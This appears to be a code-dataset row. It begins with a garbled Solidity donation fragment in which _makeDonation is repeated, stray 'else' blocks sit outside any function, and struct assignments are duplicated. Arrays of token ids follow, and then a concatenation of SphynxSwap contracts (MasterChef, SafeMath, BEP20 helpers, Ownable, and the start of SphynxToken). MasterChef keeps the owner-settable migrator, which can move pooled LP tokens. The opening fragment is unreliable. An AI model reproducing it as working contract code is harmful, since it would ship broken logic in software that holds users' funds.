_mint(_donor, newDonationId);
totalDonationsMade++;
emit MakeDonation(newDonationId, _amount, _donor, msg.sender);
totalDonationsIssued++;
emit IssueDonation(_donationId, _amount, _donor, msg.sender);
}
return newDonationId;
}
function _makeDonation(uint256 _donationId, uint256 _amount, address _donor, bool mintToken)
internal
returns (uint256)
{
Donation memory _donation;
if (donationClaimable[_donationId]) {
_donation = Donation({
donationId: uint32(_donationId),
amount: uint128(_amount),
donor: address(0)
});
_donation = Donation({
donationId: uint32(_donationId),
amount: uint128(_amount),
donor: _donor
});
}
uint256 newDonationId = donations.push(_donation) - 1;
if (donationClaimable[_donationId]) {
donationClaimable[newDonationId] = true;
}
if (mintToken) {
_mint(_donor, newDonationId);
totalDonationsMade++;
emit MakeDonation(newDonationId, _amount, _donor, msg.sender);
totalDonationsIssued++;
emit IssueDonation(_donationId, _amount, _donor, msg.sender);
}
return newDonationId;
}
} else {
function _makeDonation(uint256 _donationId, uint256 _amount, address _donor, bool mintToken)
internal
returns (uint256)
{
Donation memory _donation;
if (donationClaimable[_donationId]) {
_donation = Donation({
donationId: uint32(_donationId),
amount: uint128(_amount),
donor: address(0)
});
_donation = Donation({
donationId: uint32(_donationId),
amount: uint128(_amount),
donor: _donor
});
}
uint256 newDonationId = donations.push(_donation) - 1;
if (donationClaimable[_donationId]) {
donationClaimable[newDonationId] = true;
}
if (mintToken) {
_mint(_donor, newDonationId);
totalDonationsMade++;
emit MakeDonation(newDonationId, _amount, _donor, msg.sender);
totalDonationsIssued++;
emit IssueDonation(_donationId, _amount, _donor, msg.sender);
}
return newDonationId;
}
function _makeDonation(uint256 _donationId, uint256 _amount, address _donor, bool mintToken)
internal
returns (uint256)
{
Donation memory _donation;
if (donationClaimable[_donationId]) {
_donation = Donation({
donationId: uint32(_donationId),
amount: uint128(_amount),
donor: address(0)
});
_donation = Donation({
donationId: uint32(_donationId),
amount: uint128(_amount),
donor: _donor
});
}
uint256 newDonationId = donations.push(_donation) - 1;
if (donationClaimable[_donationId]) {
donationClaimable[newDonationId] = true;
}
if (mintToken) {
_mint(_donor, newDonationId);
totalDonationsMade++;
emit MakeDonation(newDonationId, _amount, _donor, msg.sender);
totalDonationsIssued++;
emit IssueDonation(_donationId, _amount, _donor, msg.sender);
}
return newDonationId;
}
function _makeDonation(uint256 _donationId, uint256 _amount, address _donor, bool mintToken)
internal
returns (uint256)
{
Donation memory _donation;
if (donationClaimable[_donationId]) {
_donation = Donation({
donationId: uint32(_donationId),
amount: uint128(_amount),
donor: address(0)
});
_donation = Donation({
donationId: uint32(_donationId),
amount: uint128(_amount),
donor: _donor
});
}
uint256 newDonationId = donations.push(_donation) - 1;
if (donationClaimable[_donationId]) {
donationClaimable[newDonationId] = true;
}
if (mintToken) {
_mint(_donor, newDonationId);
totalDonationsMade++;
emit MakeDonation(newDonationId, _amount, _donor, msg.sender);
totalDonationsIssued++;
emit IssueDonation(_donationId, _amount, _donor, msg.sender);
}
return newDonationId;
}
} else {
function _claimDonation(address _donor, uint256 _donationId)
internal
{
require(donationClaimable[_donationId] == true);
require(donations[_donationId].donor == address(0));
donations[_donationId].donor = _donor;
donationClaimable[_donationId] = false;
emit ClaimDonation(_donor, _donationId);
}
function _deleteDonation(uint256 _donationId)
internal
{
delete donations[_donationId];
donationDescription[_donationId] = "";
donationTaxId[_donationId] = "";
donationBeneficiary[_donationId] = address(0);
donationGoal[_donationId] = 0;
donationRaised[_donationId] = 0;
_burn(ownerOf(_donationId), _donationId);
emit DeleteDonation(_donationId);
}
} | 12,856,350 | [
1,
12468,
3523,
434,
1059,
16,
5540,
24,
16,
29,
9599,
16,
29286,
261,
22,
66,
1578,
17,
21,
13,
512,
18,
75,
18,
14192,
3614,
1203,
364,
4871,
3361,
11387,
11065,
310,
3152,
7615,
367,
501,
2874,
2587,
2907,
7615,
367,
1958,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
7615,
367,
4670,
353,
4232,
39,
27,
5340,
8252,
1345,
16,
463,
10658,
22293,
367,
288,
203,
225,
7615,
367,
8526,
1071,
2727,
1012,
31,
203,
203,
225,
2254,
5034,
1071,
2078,
22293,
1012,
6119,
31,
203,
225,
2254,
5034,
1071,
2078,
22293,
1012,
49,
2486,
31,
203,
225,
2254,
5034,
1071,
2078,
22293,
1012,
7568,
5957,
31,
203,
203,
225,
2874,
261,
11890,
5034,
516,
533,
13,
1071,
2727,
367,
3291,
31,
203,
225,
2874,
261,
11890,
5034,
516,
533,
13,
1071,
2727,
367,
7731,
548,
31,
203,
225,
2874,
261,
11890,
5034,
516,
1758,
13,
1071,
2727,
367,
38,
4009,
74,
14463,
814,
31,
203,
225,
2874,
261,
11890,
5034,
516,
2254,
5034,
13,
1071,
2727,
367,
27716,
31,
203,
225,
2874,
261,
11890,
5034,
516,
2254,
5034,
13,
1071,
2727,
367,
12649,
5918,
31,
203,
225,
2874,
261,
11890,
5034,
516,
1426,
13,
1071,
2727,
367,
9762,
429,
31,
203,
203,
225,
871,
1788,
42,
1074,
354,
15914,
12,
1080,
2477,
16,
2254,
5034,
17683,
16,
1758,
27641,
74,
14463,
814,
16,
533,
5320,
548,
16,
1758,
11784,
16,
1426,
7516,
429,
1769,
203,
225,
871,
4344,
22293,
367,
12,
11890,
5034,
2727,
367,
548,
16,
2254,
5034,
3844,
16,
1758,
2727,
280,
16,
1758,
5793,
1769,
203,
225,
871,
18381,
22293,
367,
12,
2867,
2727,
280,
16,
2254,
5034,
2727,
367,
548,
1769,
203,
225,
871,
11820,
22293,
367,
12,
11890,
5034,
2727,
367,
548,
16,
2254,
5034,
3844,
16,
1758,
2727,
280,
16,
1758,
9715,
1769,
203,
225,
2
] |
pragma solidity 0.6.12;
import '@sphynxswap/sphynx-swap-lib/contracts/math/SafeMath.sol';
import '@sphynxswap/sphynx-swap-lib/contracts/token/BEP20/IBEP20.sol';
import '@sphynxswap/sphynx-swap-lib/contracts/token/BEP20/SafeBEP20.sol';
import '@sphynxswap/sphynx-swap-lib/contracts/access/Ownable.sol';
import './SphynxToken.sol';
interface IMigratorChef {
// Perform LP token migration from legacy PancakeSwap or any swap to SphynxSwap.
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
// Return the new LP token address.
//
// XXX Migrator must have allowance access to PancakeSwap LP tokens.
// SphynxSwap must mint EXACTLY the same amount of SphynxSwap LP tokens or
// else something bad will happen. Traditional PancakeSwap does not
// do that so be careful!
function migrate(IBEP20 token) external returns (IBEP20);
}
// Have fun reading it. Hopefully it's bug-free. God bless.
contract MasterChef is Ownable {
using SafeMath for uint256;
using SafeBEP20 for IBEP20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of Sphynxs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accsphynxPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accsphynxPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IBEP20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. sphynxs to distribute per block.
uint256 lastRewardBlock; // Last block number that sphynxs distribution occurs.
uint256 accSphynxPerShare; // Accumulated Sphynxs per share, times 1e12. See below.
}
// The sphynx TOKEN!
SphynxToken public sphynx;
// Dev address.
address public devaddr;
// sphynx tokens created per block.
uint256 public sphynxPerBlock;
// Bonus muliplier for early sphynx makers.
uint256 public BONUS_MULTIPLIER = 1;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorChef public migrator;
uint256 public toBurn = 20;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when sphynx mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event SetDev(address newDev);
constructor(
SphynxToken _sphynx,
address _devaddr,
uint256 _sphynxPerBlock,
uint256 _startBlock
) public {
sphynx = _sphynx;
devaddr = _devaddr;
sphynxPerBlock = _sphynxPerBlock;
startBlock = _startBlock;
// staking pool
poolInfo.push(PoolInfo({ lpToken: _sphynx, allocPoint: 100, lastRewardBlock: startBlock, accSphynxPerShare: 0 }));
totalAllocPoint = 100;
}
function updateMultiplier(uint256 multiplierNumber) public onlyOwner {
BONUS_MULTIPLIER = multiplierNumber;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(
uint256 _allocPoint,
IBEP20 _lpToken,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSphynxPerShare: 0 }));
}
// Update the given pool's sphynx allocation point. Can only be called by the owner.
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorChef _migrator) public onlyOwner {
migrator = _migrator;
}
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), 'migrate: no migrator');
PoolInfo storage pool = poolInfo[_pid];
IBEP20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IBEP20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), 'migrate: bad');
pool.lpToken = newLpToken;
}
function changeToBurn(uint256 value) public onlyOwner {
toBurn = value;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
}
// View function to see pending sphynxs on frontend.
function pendingSphynx(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accSphynxPerShare = pool.accSphynxPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 sphynxReward = multiplier.mul(sphynxPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accSphynxPerShare = accSphynxPerShare.add(sphynxReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accSphynxPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 sphynxReward = multiplier.mul(sphynxPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
sphynx.mint(devaddr, sphynxReward.div(100));
sphynx.mint(address(this), sphynxReward);
pool.accSphynxPerShare = pool.accSphynxPerShare.add(sphynxReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterChef for sphynx allocation.
function deposit(uint256 _pid, uint256 _amount) public {
require(_pid != 0, 'deposit sphynx by staking');
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accSphynxPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
safeSphynxTransfer(msg.sender, pending);
}
}
if (_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accSphynxPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
require(_pid != 0, 'withdraw sphynx by unstaking');
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, 'withdraw: not good');
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accSphynxPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
safeSphynxTransfer(msg.sender, pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accSphynxPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
// Stake sphynx tokens to MasterChef
function enterStaking(uint256 _amount) public {
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[0][msg.sender];
updatePool(0);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accSphynxPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
safeSphynxTransfer(msg.sender, pending);
}
}
if (_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accSphynxPerShare).div(1e12);
emit Deposit(msg.sender, 0, _amount);
}
// Withdraw sphynx tokens from STAKING.
function leaveStaking(uint256 _amount) public {
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[0][msg.sender];
require(user.amount >= _amount, 'withdraw: not good');
updatePool(0);
uint256 pending = user.amount.mul(pool.accSphynxPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
safeSphynxTransfer(msg.sender, pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accSphynxPerShare).div(1e12);
emit Withdraw(msg.sender, 0, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe sphynx transfer function, just in case if rounding error causes pool to not have enough sphynxs.
function safeSphynxTransfer(address _to, uint256 _amount) internal {
uint256 amount = _amount.mul(toBurn).div(100);
sphynx.transfer(0x000000000000000000000000000000000000dEaD, amount);
sphynx.transfer(_to, _amount.sub(amount));
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, 'dev: wut?');
devaddr = _devaddr;
emit SetDev(_devaddr);
}
// Sphynx has to add hidden dummy pools inorder to alter the emission, here we make it simple and transparent to all.
function updateEmissionRate(uint256 _perBlock) public onlyOwner {
massUpdatePools();
sphynxPerBlock = _perBlock;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.0;
interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './IBEP20.sol';
import '../../math/SafeMath.sol';
import '../../utils/Address.sol';
/**
* @title SafeBEP20
* @dev Wrappers around BEP20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeBEP20 for IBEP20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeBEP20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IBEP20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IBEP20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IBEP20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IBEP20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
'SafeBEP20: approve from non-zero to non-zero allowance'
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IBEP20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IBEP20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
'SafeBEP20: decreased allowance below zero'
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, 'SafeBEP20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeBEP20: BEP20 operation did not succeed');
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.0;
import '../GSN/Context.sol';
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import '@sphynxswap/sphynx-swap-lib/contracts/access/Manageable.sol';
import '@sphynxswap/sphynx-swap-lib/contracts/token/BEP20/BEP20.sol';
import '@sphynxswap/sphynx-swap-lib/contracts/token/BEP20/IBEP20.sol';
import '@sphynxswap/sphynx-swap-lib/contracts/token/BEP20/SafeBEP20.sol';
import '@sphynxswap/swap-core/contracts/interfaces/ISphynxPair.sol';
import '@sphynxswap/swap-core/contracts/interfaces/ISphynxFactory.sol';
import '@sphynxswap/swap-periphery/contracts/interfaces/ISphynxRouter02.sol';
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
contract SphynxToken is BEP20, Manageable {
using SafeMath for uint256;
using SafeBEP20 for IBEP20;
ISphynxRouter02 public sphynxSwapRouter;
address public sphynxSwapPair;
bool private swapping;
address public masterChef;
address public sphynxBridge;
address payable public marketingWallet = payable(0x3D458e65828d031B46579De28e9BBAAeb2729064);
address payable public developmentWallet = payable(0x7dB8380C7A017F82CC1d2DC7F8F1dE2d29Fd1df6);
address public lotteryAddress;
uint256 public usdAmountToSwap = 500;
uint256 public marketingFee;
uint256 public developmentFee;
uint256 public lotteryFee;
uint256 public totalFees;
uint256 public blockNumber;
bool public SwapAndLiquifyEnabled = false;
bool public sendToLottery = false;
bool public stopTrade = false;
bool public claimable = true;
uint256 public maxTxAmount = 800000000 * (10 ** 18); // Initial Max Tx Amount
mapping(address => bool) signers;
mapping(uint256 => address) signersArray;
mapping(address => bool) stopTradeSign;
AggregatorV3Interface internal priceFeed;
// exlcude from fees and max transaction amount
